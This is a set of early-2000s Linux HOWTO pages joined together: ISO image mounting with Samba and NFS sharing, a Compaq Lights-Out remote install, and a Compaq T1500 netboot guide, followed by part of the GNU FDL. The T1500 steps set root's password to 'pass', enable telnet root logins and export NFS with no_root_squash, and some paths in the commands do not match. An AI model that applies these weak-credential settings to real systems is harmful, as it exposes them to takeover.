bash# ls -al

You should see a listing (ls) of the files and directories that are on the actual CD (only now they're inside the ISO image file, and that's what you're currently looking at!)

2.3. Mounting the Image upon System Restart

Now that we've manually mounted the image, and made sure it works, an entry needs to made in the /etc/fstab file so that the image is remounted on the next system startup. It's important to make the entry AFTER the entry for the parent filesystem, e.g. /home (I use vim, but emacs, joe, pico or jed will work just as well):

bash# vim /etc/fstab

After the line that looks like the following (or whichever filesystem you've placed your images):

/dev/hda8 /home ext2 defaults 1 2

Insert the following line with your text editor:

/home/image/mndrk81.iso /mnt/iso/mndrk81 iso9660 ro,loop,auto,unhide 0 0

2.4. Sharing it on a Windows Network using Samba

You'll need to have Samba installed and working to perform the next steps (that's outside the scope of this instruction, see Section 1.3). If it's not yet installed, consult your Linux distribution's instructions for installing the Samba package. Or you can visit the Samba website at http://us1.samba.org/samba/samba.html for installation instructions, binaries, and/or the source code.

To share your mounted CD's on a windows network, simply create a stanza in the /etc/smb.conf file similar to the following:

[cdimages]
  comment = All Shared CD Images
  path = /mnt/iso
  public = yes
  writable = no

This will share all the subdirectories under the /mnt/iso directory on the network. To mount the share to a local drive (in this case the I: drive), bring up an MS-DOS Prompt on the Windows machine and type the following:

C:\> net use I: \\yourlinuxmachine\cdimages

Each CD image will now appear as a subdirectory on the I: drive of your Windows machine.

To mount ONLY the Mandrake CD image to a drive letter (we'll use M:, the root drive of which, will correspond exactly to the CD as if it was just inserted in the CD-ROM drive), create the following stanza in the /etc/smb.conf file.

[mndrk81]
  comment = Mandrake Linux 8.1
  path = /mnt/iso/mndrk81
  public = yes
  writable = no

Then, at your MS-DOS Prompt, mount it with the following command:

C:\> net use m: \\yourlinuxmachine\mndrk81

Warning

The Samba smb.conf file stanzas presented here are simplified, and not secure. Many more options exist for a Samba share which limit who can mount the shares, control how user authentication is performed, and whether the share is even browseable through Network Neighborhood on the Windows machines.

2.5. Sharing the Images on a Unix network using NFS

Make sure that NFS is running and configured correctly on your Linux machine, then add the following to the /etc/exports file using your own preferred options:

# sample /etc/exports file
       /mnt/iso            (ro,insecure,nohide,all_squash)

Note

The nohide option will allow you to mount a parent directory, without explicitly mounting all exported subdirectories beneath it.

Now try running:

bash# exportfs -r

This should re-export everything in your /etc/exports file.

Now, when typing "showmount -e yourlinuxmachine" you should see that the /mnt/iso directory is included in the exports list.

Prev | Home | Next
Introduction |  | Adding Support for More Loop Devices


HOWTO Use a Compaq Remote Insight Lights Out Edition for a Headless, Remote Linux Installation

Marc Nozell

Compaq Computer Corporation

marc.nozell@compaq.com

Revision History
Revision v1.1 | 10 April 2002 | Revised by: MN
Update for new Red Hat release, new RIB/LOE firmware v2.41 release screenshots, add grub.conf suggestion, misc cleanup of filenames/hostnames.
Revision v1.0 | 25 October 2000 | Revised by: MN
Initial public release.

This document describes how to install Linux on a headless Compaq ProLiant server with a Compaq Remote Insight Lights-Out Edition card without physical access to the system. The installation is done remotely through the use of a Java-enabled browser.

Table of Contents
1. Introduction
1.1. Trademarks
1.2. Feedback
1.3. Distribution Policy
2. Compaq Remote Insight Lights-Out Background
2.1. Key Features
3. Linux Installation using a Remote Insight Lights-Out
3.1. Hardware Installation
3.2. Setting up a Linux Distribution Point
3.3. Creating a Virtual Floppy Disk
3.4. Downloading a Virtual Floppy Disk to the Server
3.5. Power on and Booting
3.6. Post-installation configuration
Next
Introduction


Introduction

HOWTO Use a Compaq Remote Insight Lights Out Edition for a Headless, Remote Linux Installation
Prev Next

1. Introduction

This document is a quick guide which shows how to install Linux on a remote, headless Compaq ProLiant system equipped with a Compaq Remote Insight Lights-Out Edition (RIB/LOE) card without needing physical access to the system.

This document further describes how to use a virtual floppy disk for the initial install of Linux, and to setup an Apache server to provide the distribution media for completing the installation.

1.1. Trademarks

Compaq, Compaq Insight Manager, ProLiant, are registered with the United States Patent and Trademark office.

Microsoft, Windows, Windows NT are trademarks and/or registered trademarks of Microsoft Corporation.

Red Hat is a trademark of Red Hat, Inc., in the United States and other countries.

SuSE is a trademark of SuSE GmbH.

Linux is a registered trademark of Linus Torvalds.

Other product names mentioned herein may be trademarks and/or registered trademarks of their respective companies.

1.2. Feedback

Feedback will make this HOWTO more useful. If you have any suggestions, corrections, or comments, send them to marc.nozell@compaq.com

1.3. Distribution Policy

Copyright (c) 2000-2002 Compaq Computer Corporation.

The information in this publication is subject to change without notice and is provided "AS IS" WITHOUT WARRANTY OF ANY KIND. THE ENTIRE RISK ARISING OUT OF THE USE OF THIS INFORMATION REMAINS WITH RECIPIENT. IN NO EVENT SHALL COMPAQ BE LIABLE FOR ANY DIRECT, CONSEQUENTIAL, INCIDENTAL, SPECIAL, PUNITIVE OR OTHER DAMAGES WHATSOEVER (INCLUDING WITHOUT LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION OR LOSS OF BUSINESS INFORMATION), EVEN IF COMPAQ HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

The limited warranties for Compaq products are exclusively set forth in the documentation accompanying such products. Nothing herein should be construed as constituting a further or additional warranty.

This publication does not constitute an endorsement of the product or products that were tested. The configuration or configurations tested or described may or may not be the only available solution. This test is not a determination or product quality or correctness, nor does it ensure compliance with any federal, state, or local requirements.

This document may be distributed under the terms set forth in the LDP license at sunsite.unc.edu/LDP/COPYRIGHT.html.

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the Linux Document Project (LDP) license. This document is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the LDP license for more details.

Prev | Home | Next
HOWTO Use a Compaq Remote Insight Lights Out Edition for a Headless, Remote Linux Installation |  | Compaq Remote Insight Lights-Out Background


Compaq Remote Insight Lights-Out Background

HOWTO Use a Compaq Remote Insight Lights Out Edition for a Headless, Remote Linux Installation
Prev Next

2. Compaq Remote Insight Lights-Out Background

The Remote Insight Lights-Out is an optional management PCI card with a dedicated LAN connection. It provides full access and control of servers even when the server is in a failed state.

2.1. Key Features

The key features of the Remote Insight Lights-Out card:

  • Self-contained with on-board processor, memory, NIC, and ROM

  • External power adapter ensures continuous server access

  • Enables 'headless' server deployments in data centers

  • Virtual Floppy Drive allows host server to remotely boot from a standard 1.44 MB floppy diskette in a network client, enabling remote OS installation from a network drive, and remote server ROM updates

  • Full control of your server with browser-based, virtual graphical remote console

  • No additional software required for Compaq ProLiant servers - the client just requires a browser that supports Java.

  • Virtual Power Button provides full control of remote server power state - turn your server on or off remotely

  • Remote Reboot allows cold reboot when system is not responding.

  • SSL encryption of HTTP data before transmitting over the network

  • Dedicated, low-bandwidth network connection provides secure access over LAN

  • Group administration for user accounts

To get more information about the Remote Insight Lights-Out Edition see the Compaq web page at http://www.compaq.com/lights-out

Prev | Home | Next
Introduction |  | Linux Installation using a Remote Insight Lights-Out


Linux Installation using a Remote Insight Lights-Out

HOWTO Use a Compaq Remote Insight Lights Out Edition for a Headless, Remote Linux Installation
Prev

3. Linux Installation using a Remote Insight Lights-Out

After you have installed the card into the server system you will need to set up a Linux distribution repository, build and download a special boot floppy, and drive the installation through a browser.

3.1. Hardware Installation

The first step is to install the Remote Insight Lights-Out Edition card in a Compaq ProLiant Server and configure it for network access. Using DHCP is the easiest way to get the Remote Insight Lights-Out card on the network.

3.2. Setting up a Linux Distribution Point

On another server, make the contents of the Red Hat installation CD available via HTTP or FTP. For this example, the server is named disto.OUR-LAB.com and HTTP is used.

Copy the entire CD to the local hard disk and give appropriate file protections to allow the web server to read it. For Red Hat V6.2, use the following commands.
     # mount -t iso9660 -o ro /dev/cdrom /mnt/cdrom
     # mkdir /usr/src/distros/RH62
     # (cd /mnt/cdrom && tar cf - . ) | (cd /usr/src/RHCD && tar xvfp - )
     # umount /mnt/cdrom
     # chmod +x -R /usr/src/distros/RH62
Red Hat V7.0 and later versions contain two binary distribution CDs, so both need to be copied into the same directory structure. This example shows the steps for Red Hat 7.2. Put the first binary distribution CD into the drive and as above use the following commands:
     # mount -t iso9660 -o ro /dev/cdrom /mnt/cdrom
     # mkdir /usr/src/distros/RH72
     # (cd /mnt/cdrom && tar cf - . ) | (cd /usr/src/distros/RH72 && tar xvfp - )
     # umount /mnt/cdrom
Then put the second binary distribution CD into the drive and issue the following commands.
     # mount -t iso9660 -o ro /dev/cdrom /mnt/cdrom
     # mkdir /usr/src/distros/RH72
     # (cd /mnt/cdrom && tar cf - . ) | (cd /usr/src/distros/RH72 && tar xvfp - )
     # umount /mnt/cdrom
     # chmod +x -R /usr/src/distros/RH72

Edit httpd.conf to add the following lines near the section wehre other Aliases are defined. The location of the configuration file varies. On a default Red Hat system, it is in /etc/httpd/httpd.conf. If the Apache server was installed from sources using the default location, it is in /usr/local/apache/conf/httpd.conf. You can also try locate httpd.conf to find it.
    <Directory /usr/src/distros/>
        Options Indexes
        AllowOverride all
        </Directory>

    Alias /distros	/usr/src/distros

Restart the Apache server. If you are still running the default Apache shipped with Red Hat, do this:
    # /etc/rc.d/init.d/httpd restart

Other Linux distributions may put the Apache Web Server startup script in a different place.

The location of of apachectl may vary; find it with locate apachectl. If you installed the Apache server yourself, you may want to use apachectl. If you used the Apache default file locations, it would be the following.
     # /usr/local/apache/bin/apachectl restart

Verify that the Red Hat content is available:
    # lynx http://distro.OUR-LAB.com/distros

3.3. Creating a Virtual Floppy Disk

Create a special Red Hat boot floppy that can perform a network installation. The file from the Red Hat CD is in images/bootnet.img;in this example, /usr/src/distros/RH72/images/bootnet.img or http://distro.OUR-LAB.com/distros/RH72/images/bootnet.img. Other distributions can also install across the network using similar steps.

From a Linux or UNIX system follow these steps. Put a floppy in the drive.
    # dd if=/usr/src/distros/RH72/images/bootnet.img of=/dev/fd0 bs=1440k

Take that special boot floppy to a Microsoft Windows system that has the CPQIMAGE program to build an IMG file from a floppy to be uploaded to the Compaq Remote Insight Lights-Out card. This is the only step that requires the use of a Microsoft platform. The CPQIMAGE program is not available on any other platform.

The CPQIMAGE program for Microsoft Windows 95/98/NT 4.0/2000 is available for download from http://www.compaq.com/manage/lightsout-downloads.html. Choose the "Diskette Image Utility" download.

Build a file named redhat-bootnet.img using that Windows-based application. Note for multi-system installations, this file can be reused or simply provided to the customer.

3.4. Downloading a Virtual Floppy Disk to the Server

Now that a special version of the bootnet.img has been created, it needs to be loaded into the Virtual Floppy Disk on the Remote Insight Lights-Out card.

  1. Connect to the Remote Insight Lights-Out card of the Linux system from a Java-enabled browser (Netscape, MSIE) using the URL https://XX.XX.XX.XX where the X's are the IP address assigned to the card. You can use a Linux system running Netscape or a Windows system running Netscape or Microsoft Internet Explorer. Just have the redhat-bootnet.img local to the system running the browser. Note that this special image file is larger than a regular 1.44MB floppy. Note: You may want to use FTP to move the file to the system that you will run the browser on.

  2. Log in to the Remote Insight Lights-Out card by using a web browser to connect to the IP address assigned to the card.

  3. Select the "Insert Virtual Floppy" from the web interface, link (on left near the bottom) and load the redhat-bootnet.img file you just created into the virtual floppy.

    Figure 1. Uploading bootnet floppy image

    Uploading a floppy image to the Virtual Floppy

  4. Select the "Virtual Floppy Boot Option" of 'Boot Once' in the "Virtual Floppy Status" section.

    Figure 2. Virtual Floppy Boot Once Dialog

    Image of Virtual Floppy Options

3.5. Power on and Booting

Now the system is ready to be powered. From the browser, click on the 'Virtual Power Button' and power on the server.

  1. Turn on the virtual console by selecting 'Remote Console (2-cursor) under the "Remote Console" section. This starts a Java applet that will show you exactly what is being displayed on the console, for example, the memory self check, BIOS startup, SCSI probe, etc. If you have a Compaq SmartArray card, you can click on the button to send an F10 keypress.

    Figure 3. BIOS bootup

    Browser window showing memory check during BIOS boot

  2. Enter "text" for a non-GUI installation method at the boot: prompt. The graphical interface would work also, but it is slower over the network.

  3. Follow the Red Hat installation. When it gets to the place where it asks for where the distribution media location (CDROM, HardDrive, HTTP, NFS, FTP), select 'HTTP'.

    Figure 4. Red Hat bootup

    Red Hat text-based installation

  4. Put the name of the web server with the Red Hat distribution for the hostname, in this example, distro.OUR-LAB.com. The directory for this example is /rh. If you didn't previously specify a DNS server in the TCP/IP configuration step prior to this, you can use the IP address of the system serving the distribution.

    Figure 5. Red Hat bootup

    Selecting HTTP based installation

  5. Proceed with a normal Red Hat installation.

  6. Skip the configuration of the X server when it gets to the X11 configuration step.

    If you want to run a graphical interface on your server system, it can be configured later using Xconfigurator or xf86config. Compaq suggests that the server resolution be set to 640x480 at 16-bit color depth and mouse acceleration to be 1x.

  7. Proceed with a normal Red Hat installation. Note that there is a 15 minute timeout for the Remote Console, if your Red Hat installation takes longer than that you may be disconnected from the Remote Console. If this happens, simply reconnect to the URL https://XX.XX.XX.XX, where the X's are the IP address assigned to the card, and continue from where you left off.

3.6. Post-installation configuration

The default configuration for the grub bootloader that Red Hat 7.2 installs goes into graphics mode for the boot selection. While the Remote Console will work properly, it looks nicer if there is no splash image. To do this, edit /etc/grub.conf and remove or comment out the line that looks like:
        splashimage=(hd0,1)/grub/splash.xpm.gz
and add the following line:
        terminal --dumb --timeout=3 console

Prev | Home
Compaq Remote Insight Lights-Out Background |


About this guide

CompaqT1500-Linux HOWTO
Prev Next

1. About this guide

1.1. Purpose and scope

This document is aimed at the Linux enthusiast with an average level of knowledge. In particular you must be happy with configuring, restarting (or installing) new services.You will need a Linux server and (of course) a T1500.

1.2. Latest update

The most up to date copy of this document can be found at www.compsoc.man.ac.uk/~falken/T1500/

1.3. Feedback

Comments and feedback should go the the author listed at the head of the document.

Prev | Home | Next
CompaqT1500-Linux HOWTO |  | Introduction


The Compaq way

CompaqT1500-Linux HOWTO
Prev Next

3. The Compaq way

Create the directories for the kernel and file system on your server, mount and copy the files from the Compaq CD. Unpack the file system:

mkdir /exports/T1500
mkdir /exports/T1500/root
mkdir /exports/T1500/tftpboot
mount /cdrom
cp /cdrom/product/vmlinux /exports/T1500/tftpboot
cd /exports/T1500/root
tar xvf /cdrom/product/netboot.tar

Configure DHCP by adding a section like this to your /etc/dhcpd.conf

Change the ethernet address to that of your T1500.

group {
   #little black box
   host box {
        hardware ethernet 00:80:64:10:1d:1c;
     fixed-address box.house;
     option host-name "box";
     server-name "192.168.1.1";
     filename "/exports/T1500/tftpboot/vmlinux";
     option root-path "192.168.1.1:/exports/T1500/root";
     }
   }

Configure a new host in DNS

db.192.168.1.1:
52 in ptr box.
db.house:
   box in a 192.168.1.52

Export the root file system by adding

/exports/T1500/root box(rw,no_root_squash)

to

/etc/exports

Configuring tftp by adding/altering a line to /etc/inetd.conf

tftp dgram udp wait root /usr/sbin/tcpd in.tftpd /exports/T1500/tftpboot

Now restart inetd,dhcpd,nfs and named Select the 'netboot' option on the T1500, and reboot. The T1500 will now boot into something very similar to its normal O/S. You may want to add

exec /nor/Xbin/xterm &

as the penultimate line in

/exports/T1500/root/root/.xinitrc

and then logout and back in again, to get an xterm.

Prev | Home | Next
Introduction |  | The one true way


The one true way

CompaqT1500-Linux HOWTO
Prev Next

4. The one true way

We use the debian 'potato' (2.2) release as an example. The procedure should be similar no matter which distribution you choose, providing it will run on a 2.0.35 kernel.

Create the directories for the kernel and file system on your server, mount and copy the files from the Compaq CD. Unpack the file system (Here I use some pre-made tar balls of the debian release, here is not the place to discuss further):

mkdir /exports/T1500
mkdir /exports/T1500/root
mkdir /exports/T1500/tftpboot

mount /cdrom
cp /cdrom/product/vmlinux /exports/T1500/tftpboot
CD /exports/T1500/root
tar zxvf /tmp/base2_2.tgz
tar zxvf /tmp/telnetd*.tgz

Configure DHCP by adding a section like this to your /etc/dhcpd.conf Change the ethernet address to that of your T1500.

Group {
   #little black box
   host box {
        hardware ethernet 00:80:64:10:1d:1c;
     fixed-address box.house;
     option host-name "box";
     server-name "192.168.1.1";
     filename "/exports/T1500/tftpboot/vmlinux";
     option root-path "192.168.1.1:/exports/T1500/root";
     }
   }

Configure a new host in DNS

db.192.168.1.1:
   52 in ptr box.

db.house:
   box in a 192.168.1.52

Export the root file system by adding

/exports/T1500/root box(rw,no_root_squash)

to /etc/exports

Configuring tftp by adding/altering a line to /etc/inetd.conf

tftp dgram udp wait root /usr/sbin/tcpd in.tftpd /exports/T1500/tftpboot

Now restart inetd,dhcpd,nfs and named

Configure the file system by setting the root password to 'pass', exposing telnetd

/exports/T1500/root/etc/passwd, alter 1st line: root:Z/U2u32VhNJoA:0:0:,,,:/root:/bin/bash

/exports/T1500/root/etc/inetd.conf, add: telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd

Append remote terminals to /etc/securetty to allow remote root access.

tty1
tty2
tty3
tty4
tty5
tty6
tty7
tty8
tty9
tty10
tty11
tty12
ttyp0
ttyp1
ttyp2
ttyp3

Select network booting on the T1500 and reboot it.

Once it has booted, you should be able to telnet into the T1500. At ths point, you shoudl configure SSH, and close the telnet hole in inetd.

Prev | Home | Next
The Compaq way |  | Editing FLASH image and other tools


CompaqT1500-Linux HOWTO

Thomas Chiverton

falken@bigfoot.com

Revision History
Revision 1.01 | 2002-03-17 | Revised by: gea
Conversion to Docbook format
Revision 1.0 | 2002-03-11 | Revised by: tjc
LDP release
Revision 0.85 | 2001-12-13 | Revised by: tjc
Security hints. XFree.
Revision 0.8 | 2001-12-13 | Revised by: tjc
Kernel transfer problem fix (NFS null). General tidy.
Revision 0.7 | 2001-09-11 | Revised by: tjc
Much FLASHing and mounting notes added
Revision 0.61 | 2001-08-20 | Revised by: tjc
Tweak debian unpack notes. Add URL. Notes on re-FLASH
Revision 0.6 | 2001-07-28 | Revised by: tjc
Add example syslog output. Add in securetty changes
Revision 0.5 | 2001-07-28 | Revised by: tjc
Initial release for feedback, comments from community

Lists the procedures and tools needed to boot the Compaq T1500, using a Netboot of both the native file system and a generic Linux installation.

Table of Contents
1. About this guide
1.1. Purpose and scope
1.2. Latest update
1.3. Feedback
2. Introduction
3. The Compaq way
4. The one true way
5. Editing FLASH image and other tools
5.1. Editing Flash image
5.2. Mounting FLASH
6. XFree86
7. Trouble Shooting
7.1. Intermittent kernel transfer problems (NFS null)
8. Pending projects
9. Contributors and thanks
Next
About this guide


Introduction

CompaqT1500-Linux HOWTO
Prev Next

2. Introduction

The T1500 is a Linux based diskless thin client, able to boot off internal FLASH RAM into X. It will acquire TCP/IP information from DHCP, and includes telnet and a WWW browser. In this configuration, the T1500 is useful as a small Internet access device.However, the T1500 can also operate as a diskless client, acquiring it's initial kernel and root file system from a remote machine (this uses 'TFTP' for the 1st stage, and 'NFS' for the latter). Compaq provide a CD with a kernel image and root file system, along with management tools, but these tools are not needed, and have been found to fail on some systems. This will be discussed in the 'Compaq Way' section.

It is also possible to use the Compaq kernel to boot a normal Linux based distribution. We use Debian as an example, but the process is fairly generic, and discussed in the 'One True Way' section.

We will assume: A working DNS server on 192.168.1.1 (bookcase) and that this machine will serve the kernel and file system The T1500 is to be installed as 192.168.1.52 (box). The domain is 'house'. No special routing is needed. In the examples a RedHat server is used, but the specifics should apply to any GNU based system.

Prev | Home | Next
About this guide |  | The Compaq way


Editing FLASH image and other tools

CompaqT1500-Linux HOWTO
Prev Next

5. Editing FLASH image and other tools

5.1. Editing Flash image

The T1500s come with a utility called 'makeflash' (which lives in /sbin and also comes on the CD). You can use this to generate a flash filesystem image from a tar.gz, which can either be local, or an NFS / SMB file. This utility generates all the necessary checksums too.

1. Flashing with a Slackware 8.0 image doesn't work, even with the calculated checksum. This suggests to me that there is a further check made on vmlinux itself.

2. Having dissected the leo.boot and vmlinux files supplied with the unit, I suspect that leo.boot checks vmlinux for the string "xxxxyyyyWYSEwysexxxx" which is duly included in the custom kernel they use.

3. Leo.boot is in fact a Win CE related thing, with a queer bolt-on to allow linux boots. The normal Win CE leo.boot is about half the size. It uses the Eboot protocol for both ethernet and parallel port flash programming. There are some free Linux tools available to format images correctly for replacing leo.boot and also the OS image, but they rely on you supplying a suitably compiled object version of the bootrom.

Be careful when running it though - it is possible to flash the thing to a state in which the only way to get it booting again is to use the Wyse-provided DOS util / laplink cable setup.

Also, if anyone manages to get makeflash running on something which isn't the terminal, could you let me know how? AFAICT, it's trying to link with a very old glibc and libforms.You should be able to flash-update the T1500 a few 100,000 times.

Apparently the T1500 is a Wyse WT3X15, based on what they call the 'Leo Board'. You can download a DOS reflashing util, and some docs for it from the UK Wyse website, in the Customer Support section's firmware page. It requires a parallel laplink cable.

5.2. Mounting FLASH

After running the mknod commands below, you can then mount /dev/fnand and /dev/fnand1, which are both 16Mb flashfs partitions. You can also mount /dev/fram, and write to it, however the data disappeared after umounting & remounting. It may have use as swap space.

mknod /dev/fcard b 63 0
mknod /dev/fcard.fmt b 63 128
mknod /dev/fcard1 b 63 1
mknod /dev/fcard1.fmt b 63 129
mknod /dev/fnand b 62 0
mknod /dev/fnand.fmt b 62 128
mknod /dev/fnand1 b 62 2
mknod /dev/fnand1.fmt b 62 120
mknod /dev/fnor b 65 0
mknod /dev/fnor.2m b 65 128
mknod /dev/fram b 64 128

Prev | Home | Next
The one true way |  | XFree86


XFree86

CompaqT1500-Linux HOWTO
Prev Next

6. XFree86

To boot up into XFree86, grab and install the normal XFree packages. Grab and install the XF86Config file from http://www.compsoc.man.ac.uk/~falken/T1500/XF86Config. Use a line like

xinit -- -bpp 16 &

In rc.local (or your distributions equiv.) to start it up automaticly. To do the safe thing and run X as a user, create the user and use something like the following to start and stop it (I placed this in the init.d dir. and linked from rc.4). Change 'mplayer' on line 5 to your username.

#! /bin/sh
case "$1" in
start)
    echo -n "Automatically logging into X"
    su -c 'cd ~mplayer && xinit -- -bpp 16' - mplayer &
    echo "."
    ;;
stop|restart)
    ;;
*)
    echo "Usage: /etc/init.d/mplayer {start|stop|restart}"
    exit 1
esac

exit 0

Prev | Home | Next
Editing FLASH image and other tools |  | Trouble Shooting


Trouble Shooting

CompaqT1500-Linux HOWTO
Prev Next

7. Trouble Shooting

The servers log file (/var/log/messages) should contain hints as to where you've got to in the boot process, as it should log TFTP transfers, NFS mounts etc. If not, add

*.* /var/log/messages

to

/etc/syslogd.conf

and restart syslog

tcpdump allows you to see what packets are being transfered, and their NFS filenames.

 tcpdump -i eth0 -s 500 host box

Your output from syslog should resemble:

Jul 24 21:37:00 bookcase dhcpd: DHCPDISCOVER from 00:80:64:10:1d:1c via eth0
Jul 24 21:37:00 bookcase dhcpd: DHCPOFFER on 192.168.1.52 to 00:80:64:10:1d:1c    via eth0
Jul 24 21:37:04 bookcase dhcpd: DHCPREQUEST for 192.168.1.52 from 00:80:64:10:1d:1c    via eth0
Jul 24 21:37:04 bookcase dhcpd: DHCPACK on 192.168.1.52 to 00:80:64:10:1d:1c    via eth0
Jul 24 21:37:04 bookcase tftpd[5003]: tftpd: trying to get file: /exports/T1500/tftpboot/vmlinux
Jul 24 21:37:24 bookcase mountd[4853]: authenticated mount request from box:600

Your tcpdump output should look like (when idle):

17:31:41.450000 box.8022008 > bookcase.nfs: 116 lookup fh Unknown/1 "initctl"
17:31:41.450000 bookcase.nfs > box.8022008: reply ok 128 lookup fh Unknown/1

7.1. Intermittent kernel transfer problems (NFS null)

There is a known problem which occasionally causes the T1500 to fail to reboot, apparently because it fails to tftp the kernel after the reboot. A tcpdump of this happening will resemble:

12:04:38.506153 box.2049 > bookcase.house.tftp: 39 RRQ "/exports/T1500/tftpboot/vmlinux"
12:04:38.556153 bookcase.house.1199 > box.2049: udp 516
12:04:38.556153 box.2049 > bookcase.house.1199: udp 4
12:04:38.556153 bookcase.house.196610 > box.nfs: 516 null
12:04:38.556153 box.2049 > bookcase.house.1199:    udp 4
12:04:38.556153 bookcase.house.196611 > box.nfs: 516 null
12:04:38.556153 box.2049 > bookcase.house.1199: udp 4
12:04:38.556153 bookcase.house.196612 > box.nfs: 516 null
12:04:38.556153 box.2049 > bookcase.house.1199:    udp 4
12:04:38.566153 bookcase.house.196613 > box.nfs: 516 null
12:04:38.566153 box.2049 > bookcase.house.1199: udp 4
12:04:38.566153 bookcase.house.196614 > box.nfs: 516 null
12:04:38.566153 box.2049 > bookcase.house.1199:    udp 4
12:04:38.566153 bookcase.house.196615 > box.nfs: 516 null

You will then see a syslog entry from tftp indicating that it is sending the kernel, but no packets are exchanged. ARP requests go unanswered.

This can be resolved, but if you have your T1500 headless in a corner, is a PITA. Connect a monitor, keyboard and PS/2 mouse if not present. Reboot the T1500, and press 'L' after the 1st beep. The T1500 will now boot focally. Change the boot mode to 'Local' (Start->System menu) and reboot. Change the boot mode back to 'Network'

Prev | Home | Next
XFree86 |  | Pending projects


Pending projects

CompaqT1500-Linux HOWTO
Prev Next

8. Pending projects

Edit / re-flash FLASH

PCMCIA usage - probably needs the next item :-)

Custom kernel (TFTP loader looks at checksum / WYSE string)

Text mode console

SSH / SSHd / gcc for Compaq file system (should be easy to copy once compiled on custom FS)

Prev | Home | Next
Trouble Shooting |  | Contributors and thanks


Contributors and thanks

CompaqT1500-Linux HOWTO
Prev

9. Contributors and thanks

[incomplete, real names needed too]

Cez

John Topper

Grapham Wood <rauxon@compsoc.man.ac.uk>

Mike Sparks

James Mulcahy

Prev | Home
Pending projects |


License

Conexant/Rockwell modem HOWTO
Prev

A. License

.1. GNU Free Documentation License

Copyright 2000 Free Software Foundation, Inc.

Free Software Foundation, Inc.

59 Temple Place, Suite 330,

Boston,

MA 02111-1307

USA

. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

.1.1. 0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

.1.2. 1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

.1.3. 2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

.1.4. 3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

.1.5. 4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  • A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

